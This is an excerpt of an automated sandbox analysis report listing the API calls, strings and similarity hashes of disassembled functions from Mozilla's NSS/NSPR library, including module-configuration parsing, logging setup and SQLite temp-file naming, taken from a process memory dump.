strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?), ref: 6CA058E7
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CA058F8
PORT_ZAlloc_Util.NSS3(0000002D,?,?,?,?,?,?), ref: 6CA0591B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?), ref: 6CA0593A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?), ref: 6CA05960
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?), ref: 6CA0597B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA059A0
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA059AF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA059D3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA059E2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA05A0A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA05A19
PR_smprintf.NSS3(0h0x%08lx,00000001), ref: 6CA05A68
PR_smprintf.NSS3(%s,%s,00000000,00000000), ref: 6CA05A7D
free.MOZGLUE(00000000), ref: 6CA05A8F
free.MOZGLUE(00000000), ref: 6CA05A95
PR_smprintf.NSS3(%s,0l0x%08lx,00000000,00000001), ref: 6CA05AC6
free.MOZGLUE(00000000), ref: 6CA05AD3
PR_smprintf.NSS3(0l0x%08lx,00000001), ref: 6CA05AE4
PR_smprintf.NSS3(%s=%d,trustOrder,?), ref: 6CA05B15
PR_smprintf.NSS3(%s=%d,cipherOrder,?), ref: 6CA05B39
free.MOZGLUE(00000000), ref: 6CA05B5D
free.MOZGLUE(00000000), ref: 6CA05B81
free.MOZGLUE(?), ref: 6CA05BA2
PR_smprintf.NSS3(%s %s %s %s %s,?,6CAF0148,?,00000000,00000000), ref: 6CA05BBF
free.MOZGLUE(?), ref: 6CA05BD8
free.MOZGLUE(6CAF0148), ref: 6CA05BEE
free.MOZGLUE(?), ref: 6CA05C06
free.MOZGLUE(00000000), ref: 6CA05C1E
free.MOZGLUE(00000000), ref: 6CA05C34
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA05C50
free.MOZGLUE(00000000), ref: 6CA05C61

Strings

0h0x%08lx, xrefs: 6CA05A63
trustOrder, xrefs: 6CA05B0B
slotParams, xrefs: 6CA05B44
FORTEZZA, xrefs: 6CA05A56
cipherOrder, xrefs: 6CA05B2F
Flags, xrefs: 6CA05B8A
%s %s %s %s %s, xrefs: 6CA05BBA
FIPS, xrefs: 6CA05983
ciphers, xrefs: 6CA05B66
%s=%d, xrefs: 6CA05B10, 6CA05B34
%s,0l0x%08lx, xrefs: 6CA05AC1
%s,%s, xrefs: 6CA05A78

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: free$strlen$R_smprintf$Alloc_Util$isspacememsetstrcat
String ID: %s %s %s %s %s$%s,%s$%s,0l0x%08lx$%s=%d$0h0x%08lx$FIPS$FORTEZZA$Flags$cipherOrder$ciphers$slotParams$trustOrder
API String ID: 2590695137-1909591022
Opcode ID: e51b620826b6ed1f0dad674dde1b2e40dd1f80e3ab764942c737c8b66a9c5d1e
Instruction ID: 34c28560835df9a3e9f742db917206ffbfd6c060f7e87958e30680e0462488f9
Opcode Fuzzy Hash: e51b620826b6ed1f0dad674dde1b2e40dd1f80e3ab764942c737c8b66a9c5d1e
Instruction Fuzzy Hash: 8BB138B1E002465BDB119F65AC855AF7778AF5728CF090224EC1667B00E730F9E9C7E6

Function 6CA05DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6CA05E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CA05E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6CA05E5C
free.MOZGLUE(00000000), ref: 6CA05E7E
free.MOZGLUE(00000000), ref: 6CA05E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6CA05EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6CA05EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CA05ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6CA05EF0
free.MOZGLUE(00000000), ref: 6CA05F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CA05F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6CA05F5B
free.MOZGLUE(00000000), ref: 6CA05F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6CA05FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6CA05FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CA05FC4
free.MOZGLUE(00000000), ref: 6CA05FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CA05FE9
free.MOZGLUE(00000000), ref: 6CA05FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CA0600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA06027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6CA0605A
PR_smprintf.NSS3(6CADAAF9,00000000), ref: 6CA0606A
free.MOZGLUE(00000000), ref: 6CA0607C
free.MOZGLUE(00000000), ref: 6CA0609A
free.MOZGLUE(00000000), ref: 6CA060B2
free.MOZGLUE(?), ref: 6CA060CE

Strings

flags, xrefs: 6CA05E3A, 6CA05EC6, 6CA05F30
secmod=, xrefs: 6CA05FB1
readOnly, xrefs: 6CA05E56
pkcs11.txt, xrefs: 6CA05F47, 6CA05F7C, 6CA0603A, 6CA06053
forceSecmodChoice, xrefs: 6CA05F55
noModDB, xrefs: 6CA05EEA
%s/%s, xrefs: 6CA06055
secmod.db, xrefs: 6CA05EA0
configDir=, xrefs: 6CA05F9D

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: dc1005aa2a1ae8681521841f7a93c88bbe476b732fe73eae8e441a40cec61b24
Instruction ID: 73484bb44e88f342544bb4e33c483b3d25ebf4e390211ade878ae7212eb94d4a
Opcode Fuzzy Hash: dc1005aa2a1ae8681521841f7a93c88bbe476b732fe73eae8e441a40cec61b24
Instruction Fuzzy Hash: 1491D4F4B042055BEB119F25BC85BAA3BA4AF052CCF0C4060EC559BB42E735E9D9C7B6

Function 6CAB09D0 Relevance: 61.5, APIs: 33, Strings: 2, Instructions: 275filetimethreadCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CAB0A22

Part of subcall function 6CA69DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CAB0A27), ref: 6CA69DC6
Part of subcall function 6CA69DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CAB0A27), ref: 6CA69DD1
Part of subcall function 6CA69DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA69DED

PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CAB0A35

Part of subcall function 6C993810: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C99382A
Part of subcall function 6C993810: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C993879

PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CAB0A66
PR_GetCurrentThread.NSS3 ref: 6CAB0A70
PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CAB0A9D
PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CAB0AC8
PR_vsmprintf.NSS3(?,?), ref: 6CAB0AE8
EnterCriticalSection.KERNEL32(?), ref: 6CAB0B19
OutputDebugStringA.KERNEL32(00000000), ref: 6CAB0B48
OutputDebugStringA.KERNEL32(?), ref: 6CAB0B88
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CAB0C36
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CAB0C45
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CAB0C5D
_PR_MD_UNLOCK.NSS3(?), ref: 6CAB0C76
PR_LogFlush.NSS3 ref: 6CAB0C7E
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CAB0C8D
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CAB0C9C
OutputDebugStringA.KERNEL32(?), ref: 6CAB0CD1
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CAB0CEC
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CAB0CFB
OutputDebugStringA.KERNEL32(00000000), ref: 6CAB0D16
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CAB0D26
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CAB0D35
OutputDebugStringA.KERNEL32(0000000A), ref: 6CAB0D65
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CAB0D70
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CAB0D7E
_PR_MD_UNLOCK.NSS3(?), ref: 6CAB0D90
free.MOZGLUE(00000000), ref: 6CAB0D99

Strings

%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - , xrefs: 6CAB0A5B
%ld[%p]: , xrefs: 6CAB0A96

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: DebugOutputStringfflush$Timefwrite$Unothrow_t@std@@@__ehfuncinfo$??2@$R_snprintfSystem$CriticalCurrentEnterExplodeFileFlushR_vsmprintfR_vsnprintfSectionThreadfputcfreememcpy
String ID: %04d-%02d-%02d %02d:%02d:%02d.%06d UTC - $%ld[%p]:
API String ID: 3820836880-2800039365
Opcode ID: c36e01366b6838eaf60449c9f6bff4626df577e5e258e2a7c144a1a2a66cafda
Instruction ID: 901bef9228b4d4a376424e3ed81dc1b9de80023da5fc1c0cf548c521e4760430
Opcode Fuzzy Hash: c36e01366b6838eaf60449c9f6bff4626df577e5e258e2a7c144a1a2a66cafda
Instruction Fuzzy Hash: E8A1D5B1B002949FDF249B28CC48B9A3B7CAF2231CF0C4698F855A3641D775E9D9CB61

Function 6C991D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6C991DA3

Part of subcall function 6CA698D0: calloc.MOZGLUE(00000001,00000084,6C990936,00000001,?,6C99102C), ref: 6CA698E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6C991DB2

Part of subcall function 6C991240: TlsGetValue.KERNEL32(00000040,?,6C99116C,NSPR_LOG_MODULES), ref: 6C991267
Part of subcall function 6C991240: EnterCriticalSection.KERNEL32(?,?,?,6C99116C,NSPR_LOG_MODULES), ref: 6C99127C
Part of subcall function 6C991240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C99116C,NSPR_LOG_MODULES), ref: 6C991291
Part of subcall function 6C991240: PR_Unlock.NSS3(?,?,?,?,6C99116C,NSPR_LOG_MODULES), ref: 6C9912A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C991DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6C991E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6C991EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6C991ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6C991EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6C991F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C991F34
PR_SetLogBuffering.NSS3(00004000), ref: 6C991F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6C991F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C991F83
PR_SetLogFile.NSS3(00000000), ref: 6C991FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6C991FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6C991FCB
free.MOZGLUE(00000000), ref: 6C991FD2

Strings

NSPR_LOG_FILE, xrefs: 6C991F69
append, xrefs: 6C991EE6
timestamp, xrefs: 6C991EC4
Unable to create nspr log file '%s', xrefs: 6C991FB3
bufsize, xrefs: 6C991E9B
, %n, xrefs: 6C991E6B
NSPR_LOG_MODULES, xrefs: 6C991DAD
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6C991E27
sync, xrefs: 6C991E46
all, xrefs: 6C991F0E

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 5bc7263162cf8152b3b4191295b7b4e3f13c3fcf3096d03f6dc71c9ed7c6a993
Instruction ID: eb96da480e4d19efea77cbc0dfc859b6ea2bbfd248cdac6bd7032c4892140ead
Opcode Fuzzy Hash: 5bc7263162cf8152b3b4191295b7b4e3f13c3fcf3096d03f6dc71c9ed7c6a993
Instruction Fuzzy Hash: FF517DB1E042099BDF009BE5DD48A9E77BCBF1634DF0C4528E816ABA40E774E598CB91

Function 6C9B39F0 Relevance: 42.4, APIs: 23, Strings: 1, Instructions: 439memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C9B5E6F,?), ref: 6C9B3A08

Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C9B5E6F), ref: 6C9B3A1C

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

SECITEM_CopyItem_Util.NSS3(00000000,00000014,6C9B5E83), ref: 6C9B3AB0
SECITEM_CopyItem_Util.NSS3(00000000,00000038,6C9B5E87), ref: 6C9B3AEA

Part of subcall function 6C9FFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C9F8D2D,?,00000000,?), ref: 6C9FFB85
Part of subcall function 6C9FFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C9FFBB1

SECITEM_CopyItem_Util.NSS3(00000000,00000014,6C9B5E63), ref: 6C9B3B03
SECITEM_CopyItem_Util.NSS3(00000000,00000020,6C9B5E6F), ref: 6C9B3B1C

Part of subcall function 6C9FFB60: PORT_Alloc_Util.NSS3(E0056800,00000000,?,?,6C9F8D2D,?,00000000,?), ref: 6C9FFB9B

SECITEM_CopyItem_Util.NSS3(00000000,-00000020,6C9B5E4F), ref: 6C9B3BF2
memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9B3A3C

Part of subcall function 6C9E1B10: TlsGetValue.KERNEL32(00000000,?,6C9B3147,?,?), ref: 6C9E1B41
Part of subcall function 6C9E1B10: EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C9B3147,?,?), ref: 6C9E1B51
Part of subcall function 6C9E1B10: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9B3147), ref: 6C9E1B7C
Part of subcall function 6C9E1B10: PR_SetError.NSS3(00000000,00000000), ref: 6C9E1B94

PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C9B5E6F), ref: 6C9B3A79
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?), ref: 6C9B3AC9
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C9B3AD7
PK11_DestroyObject.NSS3(?,?), ref: 6C9B3C1B
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C9B3C40

Strings

security, xrefs: 6C9B3B6A

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$CopyItem_$Arena$Alloc_Arena_ErrorValue$CriticalEnterFreeSectionUnlock$AllocateDestroyInitK11_LockObjectPoolcallocmemcpymemset
String ID: security
API String ID: 2104508105-3315324353
Opcode ID: 428f2b0383e51b07f2a94b16f1b3baf2a134bd591b352b2695a6d701fd52bef2
Instruction ID: e59c0835507a5993f78edf321a73be9b13375275547e98dc74c9d802084e5963
Opcode Fuzzy Hash: 428f2b0383e51b07f2a94b16f1b3baf2a134bd591b352b2695a6d701fd52bef2
Instruction Fuzzy Hash: DEE182B1A00201BBEB11DF65DC45FAB77B8BF2874CF044529ED09AAA52FB31E518C761

Function 6CA76E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C92CA30: EnterCriticalSection.KERNEL32(?,?,?,6C98F9C9,?,6C98F4DA,6C98F9C9,?,?,6C95369A), ref: 6C92CA7A
Part of subcall function 6C92CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C92CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C93BE66), ref: 6CA76E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C93BE66), ref: 6CA76E98
sqlite3_snprintf.NSS3(?,00000000,6CADAAF9,?,?,?,?,?,?,6C93BE66), ref: 6CA76EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C93BE66), ref: 6CA76ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C93BE66), ref: 6CA76EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C93BE66), ref: 6CA76F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C93BE66), ref: 6CA76F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C93BE66), ref: 6CA76F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C93BE66), ref: 6CA76FA6
sqlite3_snprintf.NSS3(?,00000000,6CADAAF9,00000000,?,?,?,?,?,?,?,6C93BE66), ref: 6CA76FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C93BE66), ref: 6CA76FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C93BE66), ref: 6CA76FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C93BE66), ref: 6CA77014
sqlite3_free.NSS3(00000000,?,?,?,?,6C93BE66), ref: 6CA7701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C93BE66), ref: 6CA77030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C93BE66), ref: 6CA7705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C93BE66), ref: 6CA77079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C93BE66), ref: 6CA77097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C93BE66), ref: 6CA770A0

Strings

winGetTempname1, xrefs: 6CA7708F
mz_etilqs_, xrefs: 6CA76F18
winGetTempname2, xrefs: 6CA770C4
winGetTempname4, xrefs: 6CA77046
winGetTempname5, xrefs: 6CA77071

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: 44e91ba53fd96b4649cdb8a4964474ee7f7b1691d57301e6a6fe4559e3ce4fa6
Instruction ID: d25fe2cdec6f191e2420fb188d267120efd2265b1daac2bc06768e87f80d4742
Opcode Fuzzy Hash: 44e91ba53fd96b4649cdb8a4964474ee7f7b1691d57301e6a6fe4559e3ce4fa6
Instruction Fuzzy Hash: 2B518C75B102111BE7215630AC55FBB362AAFA2318F184538E845D7BC1FB39D98E82F2

Function 6CA04FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000,00000000,00000001), ref: 6CA05009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6CA05049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA0505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6CA05071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA05089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA050A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CA050B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2), ref: 6CA050CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA050D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CA050F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA05103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA0511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA0512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA05145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA05153
free.MOZGLUE(?), ref: 6CA0516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CA0517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA05195

Strings

config=, xrefs: 6CA0509B
nss=, xrefs: 6CA05083
name=, xrefs: 6CA05057
parameters=, xrefs: 6CA0506B
library=, xrefs: 6CA05043

Memory Dump Source

